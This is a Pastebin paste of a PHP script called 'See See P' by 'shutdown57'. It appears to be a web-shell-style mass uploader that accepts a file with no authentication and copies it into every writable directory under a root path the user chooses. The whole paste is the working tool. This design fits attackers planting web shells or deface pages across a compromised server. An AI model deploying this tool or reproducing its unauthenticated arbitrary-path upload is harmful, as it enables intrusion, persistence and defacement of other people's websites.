shutdown57

Sisipi

Dec 3rd, 2024
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.39 KB | None | 0 0
  1. <?php
  2. if (empty($_GET['execute'])) {
  3. ?>
  4. <!DOCTYPE html>
  5. <html lang="en">
  6. <head>
  7.     <meta charset="UTF-8">
  8.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  9.     <title>See See P - shutdown57</title>
  10.     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/semantic.min.css">
  11.     <script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
  12.     <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/semantic.min.js"></script>
  13. </head>
  14. <body>
  15.     <div class="ui container" style="margin-top: 50px;">
  16.         <center>
  17.             <h1>See See P</h1>
  18.             <p>A tool for uploading files and copying to all directories based on the root directory.</p>
  19.         </center>
  20.         <div class="ui centered card" style="min-width:500px;">
  21.             <div class="content">
  22.                 <div class="header">File Upload</div>
  23.                 <div class="meta">Upload a file and specify the root directory</div>
  24.             </div>
  25.             <div class="content">
  26.                 <form id="upload-form" class="ui form">
  27.                     <div class="field">
  28.                         <label>Upload File</label>
  29.                         <input type="file" name="file" id="file" required>
  30.                     </div>
  31.                     <div class="field">
  32.                         <label>Root Directory</label>
  33.                         <input type="text" name="root-dir" id="root-dir" placeholder="Enter root directory" value="<?= __DIR__; ?>" required>
  34.                     </div>
  35.                     <button class="ui primary button" type="button" id="execute-btn">Execute</button>
  36.                 </form>
  37.             </div>
  38.         </div>
  39.         <div id="result" style="margin-top: 20px;" class="ui message hidden">
  40.             <div id="result-message"></div>
  41.             <ul id="result-details"></ul>
  42.         </div>
  43.     </div>
  44.  
  45.     <script>
  46.         $(document).ready(function () {
  47.             $('#execute-btn').on('click', function () {
  48.                 const formData = new FormData($('#upload-form')[0]);
  49.  
  50.                 $.ajax({
  51.                     url: '?execute=1',
  52.                     type: 'POST',
  53.                     data: formData,
  54.                     contentType: false,
  55.                     processData: false,
  56.                     dataType: 'json',
  57.                     beforeSend: function () {
  58.                         $('#result').removeClass('hidden').addClass('ui info message');
  59.                         $('#result-message').text('Processing...');
  60.                         $('#result-details').empty();
  61.                     },
  62.                     success: function (response) {
  63.                         if (response.status === 'success') {
  64.                             $('#result').removeClass('info').addClass('success');
  65.                             $('#result-message').text(response.message);
  66.                             response.details.forEach(function (detail) {
  67.                                 $('#result-details').append('<li>' + detail + '</li>');
  68.                             });
  69.                         } else {
  70.                             $('#result').removeClass('info').addClass('error');
  71.                             $('#result-message').text(response.message);
  72.                         }
  73.                     },
  74.                     error: function () {
  75.                         $('#result').removeClass('info').addClass('error');
  76.                         $('#result-message').text('An error occurred. Please try again.');
  77.                     }
  78.                 });
  79.             });
  80.         });
  81.     </script>
  82. </body>
  83. </html>
  84. <?php
  85. } else {
  86.     if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  87.         $uploadDir = $_POST['root-dir'];
  88.         $uploadDir = rtrim($uploadDir, '/') . '/';
  89.  
  90.         if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
  91.             $uploadedFile = $_FILES['file'];
  92.             $fileName = basename($uploadedFile['name']);
  93.  
  94.             if (!is_dir($uploadDir)) {
  95.                 echo json_encode(['status' => 'error', 'message' => 'Error: Directory does not exist!']);
  96.                 exit;
  97.             }
  98.  
  99.             function copyToAllDirectories($baseDir, $fileTmpPath, $fileName) {
  100.                 $results = [];
  101.                 $dirHandle = opendir($baseDir);
  102.  
  103.                 if (!$dirHandle) {
  104.                     return ["Failed to open directory: $baseDir"];
  105.                 }
  106.  
  107.                 // Copy file to current directory if writable
  108.                 if (is_writable($baseDir)) {
  109.                     $destination = $baseDir . '/' . $fileName;
  110.                     if (copy($fileTmpPath, $destination)) {
  111.                         $results[] = "Copied to: $destination";
  112.                     } else {
  113.                         $results[] = "Failed to copy to: $destination";
  114.                     }
  115.                 } else {
  116.                     $results[] = "Skipped: Directory not writable - $baseDir";
  117.                 }
  118.  
  119.                 // Iterate through subdirectories
  120.                 while (($entry = readdir($dirHandle)) !== false) {
  121.                     if ($entry === '.' || $entry === '..') {
  122.                         continue;
  123.                     }
  124.  
  125.                     $subDir = $baseDir . '/' . $entry;
  126.                     if (is_dir($subDir)) {
  127.                         $results = array_merge($results, copyToAllDirectories($subDir, $fileTmpPath, $fileName));
  128.                     }
  129.                 }
  130.  
  131.                 closedir($dirHandle);
  132.                 return $results;
  133.             }
  134.  
  135.             $initialPath = $uploadDir . $fileName;
  136.             if (move_uploaded_file($uploadedFile['tmp_name'], $initialPath)) {
  137.                 $results = copyToAllDirectories($uploadDir, $initialPath, $fileName);
  138.                 echo json_encode(['status' => 'success', 'message' => 'File uploaded and copied successfully.', 'details' => $results]);
  139.             } else {
  140.                 echo json_encode(['status' => 'error', 'message' => 'Error: Failed to move uploaded file to root directory.']);
  141.             }
  142.         } else {
  143.             echo json_encode(['status' => 'error', 'message' => 'Error: No file uploaded or upload failed.']);
  144.         }
  145.     } else {
  146.         echo json_encode(['status' => 'error', 'message' => 'Invalid request method!']);
  147.     }
  148.     exit;
  149. }
  150. ?>
  151.  
Advertisement
Add Comment
Please, Sign In to add comment